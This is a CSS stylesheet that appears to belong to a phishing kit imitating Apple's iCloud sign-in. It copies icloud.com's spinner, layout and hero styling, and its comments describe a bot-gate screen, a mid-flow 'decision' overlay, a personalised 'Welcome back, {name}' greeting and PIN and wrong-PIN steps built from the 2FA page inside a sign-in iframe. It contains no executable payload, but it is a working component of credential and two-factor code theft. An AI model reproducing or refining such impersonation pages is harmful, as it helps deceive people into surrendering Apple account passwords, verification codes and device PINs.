/* kit.css — client runtime styles.
   Spinner markup/CSS replicates icloud.com's ui-activity-indicator (8 nibs,
   1s linear staggered opacity, saved nth-of-type transforms). */

/* ---------- Apple/icloud activity indicator ---------- */
ui-activity-indicator.standard {
  font-size: 32px;
  width: 1em;
  height: 1em;
  display: inline-block;
  position: relative;
  color: currentColor;
}
ui-activity-indicator.standard ui-spinner-nib {
  position: absolute;
  left: 50%;
  top: 50%;
  width: 2.5px;
  height: 30%;
  margin-left: -1.25px;
  border-radius: 2px;
  background: currentColor;
  transform-origin: 50% 50%;
  animation: kit-nib-fade 1s linear infinite;
}
@keyframes kit-nib-fade {
  0% { opacity: .8; }
  50% { opacity: .1; }
  100% { opacity: .8; }
}
/* saved transforms + delays from icloud.com */
ui-activity-indicator.standard ui-spinner-nib:nth-of-type(1) { transform: translateY(.5em) rotate(0deg) translateY(-.5em) translateX(-.0625em); animation-delay: -1s; }
ui-activity-indicator.standard ui-spinner-nib:nth-of-type(2) { transform: translateY(.5em) rotate(45deg) translateY(-.5em) translateX(-.0625em); animation-delay: -.875s; }
ui-activity-indicator.standard ui-spinner-nib:nth-of-type(3) { transform: translateY(.5em) rotate(90deg) translateY(-.5em) translateX(-.0625em); animation-delay: -.75s; }
ui-activity-indicator.standard ui-spinner-nib:nth-of-type(4) { transform: translateY(.5em) rotate(135deg) translateY(-.5em) translateX(-.0625em); animation-delay: -.625s; }
ui-activity-indicator.standard ui-spinner-nib:nth-of-type(5) { transform: translateY(.5em) rotate(180deg) translateY(-.5em) translateX(-.0625em); animation-delay: -.5s; }
ui-activity-indicator.standard ui-spinner-nib:nth-of-type(6) { transform: translateY(.5em) rotate(225deg) translateY(-.5em) translateX(-.0625em); animation-delay: -.375s; }
ui-activity-indicator.standard ui-spinner-nib:nth-of-type(7) { transform: translateY(.5em) rotate(270deg) translateY(-.5em) translateX(-.0625em); animation-delay: -.25s; }
ui-activity-indicator.standard ui-spinner-nib:nth-of-type(8) { transform: translateY(.5em) rotate(315deg) translateY(-.5em) translateX(-.0625em); animation-delay: -.125s; }

/* ---------- bot-gate boot screen (white/black per system theme) ---------- */
body.kit-gate {
  margin: 0;
  background: #fff;
  color: #a1a1a6;
  height: 100vh;
  display: flex;
  align-items: center;
  justify-content: center;
}
@media (prefers-color-scheme: dark) {
  body.kit-gate { background: #000; color: #86868b; }
}

/* ---------- mid-flow decision overlay: 35% white/black + spinner ---------- */
.kit-overlay {
  position: fixed;
  inset: 0;
  z-index: 2147483000;
  display: none;
  align-items: center;
  justify-content: center;
  background: rgba(255, 255, 255, .35);
  color: #6e6e73;
}
@media (prefers-color-scheme: dark) {
  .kit-overlay { background: rgba(0, 0, 0, .35); color: #9d9da2; }
}
.kit-overlay.on { display: flex; }
.kit-overlay ui-activity-indicator.standard { font-size: 28px; }

/* (in-widget controls — arrow, show-password, PIN button — live in kit-icons.css,
    which is linked inside the sign-in iframe too) */

/* ---------- mainpage: "Welcome back, {name}" above Sign In ----------
   Apple styles the tagline with `.landing-page .landing-page-content .description`
   (three classes), so this needs more weight to win. The greeting sits right under
   the wordmark — Apple's own gap between the hero and the content — and gets more
   air below it before the button. (The server adds .kit-greeting when a name was passed.) */
body.kit-greeting .landing-page .landing-page-content > .description.kit-desc-above {
  margin-top: 0;
  margin-bottom: 32px;
}
@media (max-width: 759px) {
  /* Phones: Apple stacks 20px under the hero and 16vw above the content block, which
     reads as a hole once the greeting is the first thing in that block. */
  body.kit-greeting .landing-page .landing-page-content { margin-top: 10px; }
  body.kit-greeting .landing-page .landing-page-content > .description.kit-desc-above { margin-bottom: 28px; }
}
.kit-hero-intro { animation: icloud-keyframes-fadeInAndScale .9s ease-out both; }

/* ---------- hero video: fills its box exactly like Apple's ---------- */
video.kit-hero, .landing-page-content video { object-fit: contain; }

/* ---------- page-scoped tweaks ----------
   The PIN step is built from the 2FA page. icloud.com's "lost your device /
   Find Devices / Manage Devices" row belongs to the code step only. */
body.kit-page-pin .quick-access-container,
body.kit-page-pinwrong .quick-access-container { display: none; }
/* the outer card hugs the iframe; let the PIN card keep a little breathing room below it */
body.kit-page-pin .login-form-container,
body.kit-page-pinwrong .login-form-container { min-height: 0; }

/* ---------- force disable saves' dead handlers ---------- */
[role=button] { -webkit-tap-highlight-color: transparent; }
